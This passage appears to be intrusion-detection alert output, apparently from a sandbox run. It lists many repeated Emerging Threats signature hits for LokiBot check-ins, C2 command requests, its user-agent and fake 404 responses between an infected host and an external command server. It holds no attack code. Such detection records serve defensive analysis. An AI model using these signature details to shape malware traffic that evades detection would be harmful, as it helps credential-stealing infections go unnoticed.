Source Port:	49947
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749818802021641 01/05/23-08:52:46.013246
SID:	2021641
Source Port:	49818
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749944802021641 01/05/23-08:53:23.021157
SID:	2021641
Source Port:	49944
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499092025483 01/05/23-08:53:13.570729
SID:	2025483
Source Port:	80
Destination Port:	49909
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749754802024313 01/05/23-08:52:26.655822
SID:	2024313
Source Port:	49754
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749852802024313 01/05/23-08:52:56.705137
SID:	2024313
Source Port:	49852
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749754802024318 01/05/23-08:52:26.655822
SID:	2024318
Source Port:	49754
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749852802024318 01/05/23-08:52:56.705137
SID:	2024318
Source Port:	49852
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749966802025381 01/05/23-08:53:30.946864
SID:	2025381
Source Port:	49966
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749868802025381 01/05/23-08:53:01.029018
SID:	2025381
Source Port:	49868
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749745802025381 01/05/23-08:52:24.023320
SID:	2025381
Source Port:	49745
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498882025483 01/05/23-08:53:06.467800
SID:	2025483
Source Port:	80
Destination Port:	49888
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749955802024313 01/05/23-08:53:25.989714
SID:	2024313
Source Port:	49955
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750073802025381 01/05/23-08:54:00.951462
SID:	2025381
Source Port:	50073
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749951802825766 01/05/23-08:53:24.927407
SID:	2825766
Source Port:	49951
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499052025483 01/05/23-08:53:12.488803
SID:	2025483
Source Port:	80
Destination Port:	49905
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749750802825766 01/05/23-08:52:25.450968
SID:	2825766
Source Port:	49750
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750004802025381 01/05/23-08:53:41.033557
SID:	2025381
Source Port:	50004
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749727802825766 01/05/23-08:52:18.985108
SID:	2825766
Source Port:	49727
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749849802024313 01/05/23-08:52:55.895226
SID:	2024313
Source Port:	49849
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749845802825766 01/05/23-08:52:54.838950
SID:	2825766
Source Port:	49845
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749826802021641 01/05/23-08:52:48.184567
SID:	2021641
Source Port:	49826
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750054802024318 01/05/23-08:53:55.890469
SID:	2024318
Source Port:	50054
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749743802021641 01/05/23-08:52:23.467755
SID:	2021641
Source Port:	49743
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750071802021641 01/05/23-08:54:00.426977
SID:	2021641
Source Port:	50071
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749838802021641 01/05/23-08:52:52.824149
SID:	2021641
Source Port:	49838
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749891802025381 01/05/23-08:53:07.205477
SID:	2025381
Source Port:	49891
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749734802024313 01/05/23-08:52:20.978367
SID:	2024313
Source Port:	49734
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750062802024313 01/05/23-08:53:58.073723
SID:	2024313
Source Port:	50062
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497892025483 01/05/23-08:52:38.164363
SID:	2025483
Source Port:	80
Destination Port:	49789
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749789802021641 01/05/23-08:52:38.076275
SID:	2021641
Source Port:	49789
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749734802024318 01/05/23-08:52:20.978367
SID:	2024318
Source Port:	49734
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750062802024318 01/05/23-08:53:58.073723
SID:	2024318
Source Port:	50062
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749887802021641 01/05/23-08:53:06.117016
SID:	2021641
Source Port:	49887
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749703802021641 01/05/23-08:52:08.565296
SID:	2021641
Source Port:	49703
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749946802025381 01/05/23-08:53:23.547730
SID:	2025381
Source Port:	49946
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749753802025381 01/05/23-08:52:26.326305
SID:	2025381
Source Port:	49753
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749872802024318 01/05/23-08:53:02.084337
SID:	2024318
Source Port:	49872
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749869802024318 01/05/23-08:53:01.298022
SID:	2024318
Source Port:	49869
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749971802825766 01/05/23-08:53:32.299331
SID:	2825766
Source Port:	49971
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498842025483 01/05/23-08:53:05.373418
SID:	2025483
Source Port:	80
Destination Port:	49884
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749955802024318 01/05/23-08:53:25.989714
SID:	2024318
Source Port:	49955
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749872802024313 01/05/23-08:53:02.084337
SID:	2024313
Source Port:	49872
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750027802825766 01/05/23-08:53:48.599181
SID:	2825766
Source Port:	50027
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749865802825766 01/05/23-08:53:00.234414
SID:	2825766
Source Port:	49865
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749902802825766 01/05/23-08:53:11.610501
SID:	2825766
Source Port:	49902
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749869802024313 01/05/23-08:53:01.298022
SID:	2024313
Source Port:	49869
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749989802825766 01/05/23-08:53:37.099082
SID:	2825766
Source Port:	49989
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498692025483 01/05/23-08:53:01.381580
SID:	2025483
Source Port:	80
Destination Port:	49869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749947802024313 01/05/23-08:53:23.814636
SID:	2024313
Source Port:	49947
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498472025483 01/05/23-08:52:55.454099
SID:	2025483
Source Port:	80
Destination Port:	49847
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749730802825766 01/05/23-08:52:19.853027
SID:	2825766
Source Port:	49730
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750053802025381 01/05/23-08:53:55.636070
SID:	2025381
Source Port:	50053
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749924802021641 01/05/23-08:53:17.587003
SID:	2021641
Source Port:	49924
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749904802021641 01/05/23-08:53:12.139251
SID:	2021641
Source Port:	49904
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380500072025483 01/05/23-08:53:41.908536
SID:	2025483
Source Port:	80
Destination Port:	50007
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750042802024313 01/05/23-08:53:52.687057
SID:	2024313
Source Port:	50042
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749711802021641 01/05/23-08:52:12.061796
SID:	2021641
Source Port:	49711
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750042802024318 01/05/23-08:53:52.687057
SID:	2024318
Source Port:	50042
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749800802021641 01/05/23-08:52:41.099242
SID:	2021641
Source Port:	49800
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749806802021641 01/05/23-08:52:42.779655
SID:	2021641
Source Port:	49806
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749809802024318 01/05/23-08:52:43.596832
SID:	2024318
Source Port:	49809
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380500042025483 01/05/23-08:53:41.114864
SID:	2025483
Source Port:	80
Destination Port:	50004
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749766802024313 01/05/23-08:52:30.012463
SID:	2024313
Source Port:	49766
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749809802024313 01/05/23-08:52:43.596832
SID:	2024313
Source Port:	49809
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749707802825766 01/05/23-08:52:10.342729
SID:	2825766
Source Port:	49707
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749766802024318 01/05/23-08:52:30.012463
SID:	2024318
Source Port:	49766
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749840802024318 01/05/23-08:52:53.465268
SID:	2024318
Source Port:	49840
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750002802021641 01/05/23-08:53:40.505314
SID:	2021641
Source Port:	50002
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750005802024313 01/05/23-08:53:41.297546
SID:	2024313
Source Port:	50005
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749822802025381 01/05/23-08:52:47.112264
SID:	2025381
Source Port:	49822
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750005802024318 01/05/23-08:53:41.297546
SID:	2024318
Source Port:	50005
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749935802024318 01/05/23-08:53:20.565175
SID:	2024318
Source Port:	49935
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750011802021641 01/05/23-08:53:42.925761
SID:	2021641
Source Port:	50011
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749993802021641 01/05/23-08:53:38.145026
SID:	2021641
Source Port:	49993
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749840802024313 01/05/23-08:52:53.465268
SID:	2024313
Source Port:	49840
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750044802025381 01/05/23-08:53:53.227481
SID:	2025381
Source Port:	50044
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749796802825766 01/05/23-08:52:39.986568
SID:	2825766
Source Port:	49796
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749733802025381 01/05/23-08:52:20.679095
SID:	2025381
Source Port:	49733
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749967802024313 01/05/23-08:53:31.230819
SID:	2024313
Source Port:	49967
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498662025483 01/05/23-08:53:00.596675
SID:	2025483
Source Port:	80
Destination Port:	49866
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749878802024313 01/05/23-08:53:03.704233
SID:	2024313
Source Port:	49878
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750031802021641 01/05/23-08:53:49.661487
SID:	2021641
Source Port:	50031
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380500482025483 01/05/23-08:53:54.346619
SID:	2025483
Source Port:	80
Destination Port:	50048
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749911802825766 01/05/23-08:53:14.014731
SID:	2825766
Source Port:	49911
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499992025483 01/05/23-08:53:39.815924
SID:	2025483
Source Port:	80
Destination Port:	49999
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749710802825766 01/05/23-08:52:11.662757
SID:	2825766
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750074802024313 01/05/23-08:54:01.233569
SID:	2024313
Source Port:	50074
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750015802825766 01/05/23-08:53:43.993137
SID:	2825766
Source Port:	50015
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750074802024318 01/05/23-08:54:01.233569
SID:	2024318
Source Port:	50074
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749739802825766 01/05/23-08:52:22.339123
SID:	2825766
Source Port:	49739
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750021802825766 01/05/23-08:53:46.361205
SID:	2825766
Source Port:	50021
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749783802021641 01/05/23-08:52:36.372208
SID:	2021641
Source Port:	49783
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749940802025381 01/05/23-08:53:21.893765
SID:	2025381
Source Port:	49940
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749848802025381 01/05/23-08:52:55.640788
SID:	2025381
Source Port:	49848
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749878802024318 01/05/23-08:53:03.704233
SID:	2024318
Source Port:	49878
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749967802024318 01/05/23-08:53:31.230819
SID:	2024318
Source Port:	49967
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749875802021641 01/05/23-08:53:02.907470
SID:	2021641
Source Port:	49875
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750028802021641 01/05/23-08:53:48.853917
SID:	2021641
Source Port:	50028
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749765802025381 01/05/23-08:52:29.748218
SID:	2025381
Source Port:	49765
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749792802021641 01/05/23-08:52:38.887901
SID:	2021641
Source Port:	49792
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

